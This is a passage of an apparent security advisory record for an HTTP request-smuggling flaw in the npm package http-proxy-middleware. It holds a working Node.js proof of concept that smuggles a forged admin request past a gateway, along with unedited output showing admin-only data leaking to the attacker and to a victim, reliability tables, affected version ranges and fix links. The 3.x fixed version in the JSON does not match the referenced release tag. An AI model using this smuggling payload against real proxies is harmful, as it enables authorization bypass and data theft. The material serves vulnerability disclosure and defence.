'DENIED');\n        }, 120);\n        return;\n      }\n      if (req.url === '/api/victim') {\n        const allowed = user === 'victim';\n        setTimeout(() => {\n          if (!res.destroyed) send(res, allowed ? 200 : 403, allowed ? 'VICTIM_PRIVATE_DATA' : 'NO_VICTIM_ACCESS');\n        }, 240);\n        return;\n      }\n      send(res, 200, `PUBLIC:${req.url}`);\n    });\n  });\n  backend.on('connection', (socket) => socketIds.set(socket, nextSocketId++));\n  const backendPort = await listen(backend);\n\n  const app = express();\n  app.use(express.json());\n  app.use((req, _res, next) => {\n    delete req.headers['x-authenticated-user'];\n    req.headers['x-authenticated-user'] =\n      req.headers['x-victim-token'] === 'victim-secret' ? 'victim' : 'anonymous';\n    delete req.headers['x-victim-token'];\n    next();\n  });\n  app.use('/admin', (_req, res) => send(res, 403, 'GATEWAY_BLOCKED'));\n  app.use(createProxyMiddleware({\n    target: `http://127.0.0.1:${backendPort}`,\n    pathFilter: '/api',\n    on: { proxyReq: fixRequestBody },\n  }));\n  app.use((_req, res) => send(res, 404, 'NOT_FOUND'));\n\n  const gateway = http.createServer(app);\n  const gatewayPort = await listen(gateway);\n  return { backend, gateway, gatewayPort, log };\n}\n\nfunction request(port, path, headers = {}) {\n  return new Promise((resolve, reject) => {\n    const req = http.request({\n      host: '127.0.0.1',\n      port,\n      path,\n      method: 'GET',\n      agent: false,\n      headers,\n    }, (res) => {\n      const chunks = [];\n      res.on('data', (chunk) => chunks.push(chunk));\n      res.on('end', () => resolve({\n        status: res.statusCode,\n        body: Buffer.concat(chunks).toString('utf8'),\n      }));\n    });\n    req.setTimeout(2000, () => req.destroy(new Error('timeout')));\n    req.on('error', reject);\n    req.end();\n  });\n}\n\nfunction firstResponse(buffer) {\n  const headerEnd = buffer.indexOf('\\r\\n\\r\\n');\n  if (headerEnd < 0) return null;\n  const head = buffer.subarray(0, headerEnd).toString('latin1');\n  const length = Number(/\\r\\ncontent-length:\\s*(\\d+)/i.exec(`\\r\\n${head}`)?.[1]);\n  if (!Number.isFinite(length)) return null;\n  const end = headerEnd + 4 + length;\n  if (buffer.length < end) return null;\n  return {\n    status: Number(/^HTTP\\/1\\.1\\s+(\\d+)/.exec(head)?.[1]),\n    body: buffer.subarray(headerEnd + 4, end).toString('utf8'),\n  };\n}\n\nfunction startOuter(port, split) {\n  const smuggled = [\n    'GET /admin/secret HTTP/1.1',\n    'Host: backend',\n    'X-Authenticated-User: admin',\n    'Content-Length: 0',\n    '',\n    '',\n  ].join('\\r\\n');\n  const head = [\n    'POST /api/thing HTTP/1.1',\n    `Host: 127.0.0.1:${port}`,\n    'Content-Type: application/x-www-form-urlencoded',\n    `Content-Length: ${Buffer.byteLength(smuggled)}`,\n    'Connection: keep-alive',\n    '',\n    '',\n  ].join('\\r\\n');\n\n  let bytes = Buffer.alloc(0);\n  let bodySentResolve;\n  const bodySent = new Promise((resolve) => { bodySentResolve = resolve; });\n  let responseResolve;\n  const response = new Promise((resolve) => { responseResolve = resolve; });\n  const socket = net.connect(port, '127.0.0.1');\n  socket.setNoDelay(true);\n  socket.on('error', () => {});\n  socket.on('data', (chunk) => {\n    bytes = Buffer.concat([bytes, chunk]);\n    const parsed = firstResponse(bytes);\n    if (parsed) responseResolve(parsed);\n  });\n  socket.on('connect', () => {\n    if (!split) {\n      socket.write(head + smuggled, 'latin1', bodySentResolve);\n      return;\n    }\n    socket.write(head, 'latin1', () => {\n      setTimeout(() => socket.write(smuggled, 'latin1', bodySentResolve), BODY_GAP_MS);\n    });\n  });\n  return { socket, bodySent, response };\n}\n\nasync function scenario(label, run) {\n  const rig = await startRig();\n  try {\n    console.log(`\\n[${label}]`);\n    await run(rig);\n    console.log(`backend log: ${rig.log.join(' | ') || '(empty)'}`);\n  } finally {\n    await close(rig.gateway);\n    await close(rig.backend);\n  }\n}\n\nconsole.log(`Node ${process.version}; http-proxy-middleware ${version('http-proxy-middleware')}; httpxy ${version('httpxy')}; express ${version('express')}`);\n\nawait scenario('control: direct admin request', async ({ gatewayPort }) => {\n  const result = await request(gatewayPort, '/admin/secret', { 'X-Authenticated-User': 'admin' });\n  console.log(`attacker -> ${result.status} ${result.body}`);\n});\n\nawait scenario('control: direct victim request without token', async ({ gatewayPort }) => {\n  const result = await request(gatewayPort, '/api/victim');\n  console.log(`attacker -> ${result.status} ${result.body}`);\n});\n\nawait scenario('control: identical bytes in one write', async ({ gatewayPort }) => {\n  const outer = startOuter(gatewayPort, false);\n  await outer.bodySent;\n  const outerResult = await outer.response;\n  const follow = await request(gatewayPort, '/api/follow');\n  outer.socket.destroy();\n  console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`);\n  console.log(`follow-up attacker -> ${follow.status} ${follow.body}`);\n});\n\nawait scenario('exploit: delayed body, attacker reads admin response', async ({ gatewayPort }) => {\n  const outer = startOuter(gatewayPort, true);\n  await outer.bodySent;\n  await sleep(FOLLOW_DELAY_MS);\n  const follow = await request(gatewayPort, '/api/follow');\n  const outerResult = await outer.response;\n  outer.socket.destroy();\n  console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`);\n  console.log(`follow-up attacker -> ${follow.status} ${follow.body}`);\n});\n\nawait scenario('exploit: first ordinary client receives the admin response', async ({ gatewayPort }) => {\n  const outer = startOuter(gatewayPort, true);\n  await outer.bodySent;\n  await sleep(FOLLOW_DELAY_MS);\n  const victim = await request(gatewayPort, '/api/victim', { 'X-Victim-Token': 'victim-secret' });\n  const outerResult = await outer.response;\n  outer.socket.destroy();\n  console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`);\n  console.log(`victim -> ${victim.status} ${victim.body}`);\n});\n```\n\nOutput, unedited:\n\n```text\nNode v24.21.0; http-proxy-middleware 4.2.0; httpxy 0.5.5; express 4.21.2\n\n[control: direct admin request]\nattacker -> 403 GATEWAY_BLOCKED\nbackend log: (empty)\n\n[control: direct victim request without token]\nattacker -> 403 NO_VICTIM_ACCESS\nbackend log: GET /api/victim user=anonymous socket=1\n\n[control: identical bytes in one write]\nouter attacker -> 200 PUBLIC:/api/thing\nfollow-up attacker -> 200 PUBLIC:/api/follow\nbackend log: POST /api/thing user=anonymous socket=1 | GET /api/follow user=anonymous socket=1\n\n[exploit: delayed body, attacker reads admin response]\nouter attacker -> 200 PUBLIC:/api/thing\nfollow-up attacker -> 200 SECRET_ADMIN_ONLY\nbackend log: POST /api/thing user=anonymous socket=1 | GET /admin/secret user=admin socket=1 | GET /api/follow user=anonymous socket=1\n\n[exploit: first ordinary client receives the admin response]\nouter attacker -> 200 PUBLIC:/api/thing\nvictim -> 200 SECRET_ADMIN_ONLY\nbackend log: POST /api/thing user=anonymous socket=1 | GET /admin/secret user=admin socket=1 | GET /api/victim user=victim socket=1\n```\n\nThe first control proves the gateway rejects `/admin/secret` even when the client supplies the trusted header; the backend is not contacted. The second proves an unauthenticated client cannot read the victim route. The third sends exactly the same outer headers and body as the exploit in one concatenated write: only `/api/thing` reaches the backend, and the follow-up receives its own response. Only the body schedule changes in the exploit. The backend then logs two requests on one socket, and the unauthenticated follow-up receives the admin-only body. The last scenario replaces the follow-up with an authenticated victim request and shows that arrival order selects the recipient of the queued admin response.\n\nThe complete script was repeated ten times on Node 24.21.0. Both exploit scenarios succeeded in every run, and the concatenated-write control stayed clean in every run:\n\n```text\ncomplete_runs=10/10 failures=0\n```\n\nThe response-routing behavior was also measured separately at 30 trials per cell with a fresh gateway and pool for every trial. The smuggled endpoint responded after 120 ms and the follow-up began 20 ms after the body:\n\n| upstream scheduling | clean free sockets before the attempt | attacker received the admin response |\n| --- | ---: | ---: |\n| default `lifo` | 0 | 30/30 |\n| default `lifo` | 1 | 30/30 |\n| default `lifo` | 4 | 30/30 |\n| explicit `fifo` | 0 | 30/30 |\n| explicit `fifo` | 1 | 30/30 |\n| explicit `fifo` | 4 | 0/30 |\n\nThe concatenated-write negative control was 0/30. With two possible recipients, routing was deterministic: whichever ordinary request arrived first received the admin response, 30/30 in both orderings. FIFO plus a sufficiently deep idle pool is a measured mitigation, not a complete fix; occupying the older sockets drove the FIFO depth-four cell back to 30/30.\n\nPublished artifacts were tested rather than inferring the range from the source commit. The persistent-agent column used `new http.Agent({keepAlive:true})` with an explicit client `Connection: keep-alive`; it is not an unspecified generic agent:\n\n| version | no `agent` option | measured persistent-agent configuration |\n| --- | --- | --- |\n| 2.0.9 | payload dropped | smuggled |\n| 2.0.10 | payload dropped | smuggled |\n| 3.0.5 | payload dropped | smuggled |\n| 3.0.7 | payload dropped | smuggled |\n| 4.0.0-beta.0 | payload dropped | smuggled |\n| 4.0.0-beta.2 | smuggled | smuggled |\n| 4.2.0 | smuggled | smuggled |\n\nThe agent and client header were then separated on 2.0.10 and 3.0.7, ten fresh trials per cell:\n\n| agent | client `Connection` | backend `Connection` | 2.0.10 | 3.0.7 |\n| --- | --- | --- | ---: | ---: |\n| plain `new http.Agent()` | omitted | `close` | smuggled 0/10, truncated 10/10 | smuggled 0/10, truncated 10/10 |\n| plain `new http.Agent()` | `keep-alive` | `keep-alive` | smuggled 10/10 | smuggled 10/10 |\n| `new http.Agent({keepAlive:true,maxSockets:1})` | omitted | `keep-alive` | smuggled 10/10 | smuggled 10/10 |\n| `agent:false` | `keep-alive` | `close` | smuggled 0/10, truncated 10/10 | smuggled 0/10, truncated 10/10 |\n\nThe older lines therefore require an agent plus persistent upstream framing. A plain non-pooling agent is not enough when the client header is omitted. A pooling agent supplies persistence and is also required for response readback. `agent:false` forces `close` even when the client asks for keep-alive.\n\n### Impact\n\n#### What it is\n\nA remote unauthenticated client can make the backend execute an arbitrary HTTP/1.1 request that the gateway never parsed or authorized. The request can target a route outside `pathFilter` and can forge headers that the backend trusts the gateway to set. With the default 4.x LIFO pool, an attacker-controlled following request can receive the smuggled response. This provides an integrity impact for arbitrary backend actions and a confidentiality impact for backend responses reachable through forged gateway identity.\n\nThe 10.0 vector describes the default 4.2.0 configuration and the reasonable worst-case use of a proxy library: a public proxied route fronts a backend with privileged internal routes or trusted identity headers. [FIRST's CVSS v3.1 User Guide, section 3.7](https://www.first.org/cvss/v3-1/user-guide#3-7-scoring-vulnerabilities-in-software-libraries-and-similar), directs analysts to score libraries using a stated reasonable worst-case implementation scenario; [section 3.8](https://www.first.org/cvss/v3-1/user-guide#3-8-multiple-cvss-base-scores) says to use the highest applicable score when only one is supplied. The deterministic integrity-only floor is 8.6 when response readback is unavailable.\n\n#### Who is impacted\n\nAn application is exposed when it places a body-parser 1.x parser before `http-proxy-middleware`, enables `fixRequestBody`, permits a request media type that the mounted parser declines but the handler recognizes, and reaches the gateway without complete request-body buffering. The upstream connection must also remain persistent. Persistence is the default in 4.x from 4.0.0-beta.2. The affected 2.x, 3.x, and 4.0.0-beta.0 lines require an explicit agent; a pooling agent supplies keep-alive, while a plain non-pooling agent also requires an explicit client `Connection: keep-alive` header.\n\nThe body-parser major sets the boundary. Express 4 normally supplies body-parser 1.x behavior and Express 5 normally supplies body-parser 2.x behavior, but an Express 5 application that mounts body-parser 1.x explicitly remains affected.\n\n#### How an operator arrives at that configuration\n\nThe README recommends `fixRequestBody` specifically for applications where body parsing runs first and demonstrates `bodyParser.json()` before the proxy. The PoC places an explicit route denial and trusted-header normalization before the backend proxy, and the smuggled request bypasses both. The 4.x proxy dependency supplies a keep-alive agent by default. The project's corporate-proxy recipe supplies an agent explicitly for older lines, but that specific `HttpsProxyAgent` configuration was not measured.\n\n#### What is not claimed\n\nThis is not exploitable through every deployment. nginx 1.27 with default request buffering was clean in testing, including the delayed-body shape. HAProxy 3.0 in HTTP mode and Traefik 3.1 preserved the vulnerable timing; Envoy 1.31 bypassed the guard but dropped the appended payload in the tested configuration. Managed load balancers, CDNs, service meshes as deployed, HTTPS targets, WebSocket upgrades, `responseInterceptor`, and `pathRewrite` were not tested.\n\nBody-parser 2.x, a matching parser that consumes the request, no parser at all, and `agent: false` were clean in the tested matrix. A non-pooling agent permits the unauthorized backend request only when another input, measured here as an explicit client `Connection: keep-alive`, keeps the upstream request persistent; it does not provide the response-read technique shown here.\n\n#### Disclosure\n\nThis report has not been published or sent elsewhere. No issue, pull request, or public discussion has been opened. Testing used loopback listeners, published npm artifacts, and disposable local containers. The target checkout was not modified and was clean after testing.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "http-proxy-middleware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-beta.0"
      }, {
        "fixed" : "4.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.2.0"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "http-proxy-middleware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.5"
      }, {
        "fixed" : "3.0.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.7"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "http-proxy-middleware"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.9"
      }, {
        "fixed" : "2.0.11"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.0.10"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-vp89-2qrg-8fwc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140103"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/pull/1309"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/pull/1310"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/pull/1311"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/commit/32b56d3f22f0c77eed6828abef84104dacf202f4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/commit/412856f29168a815aeb2ede15266d7097b9060cc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/commit/77febf656f730ca28cd2188ba372aa4fa98f9404"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/chimurai/http-proxy-middleware"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v2.0.11"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.8"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/chimurai/http-proxy-middleware/releases/tag/v4.2.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444", "CWE-807" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-12-01T18:15:48Z",
    "nvd_published_at" : "2026-11-30T23:17:24Z"
  }
}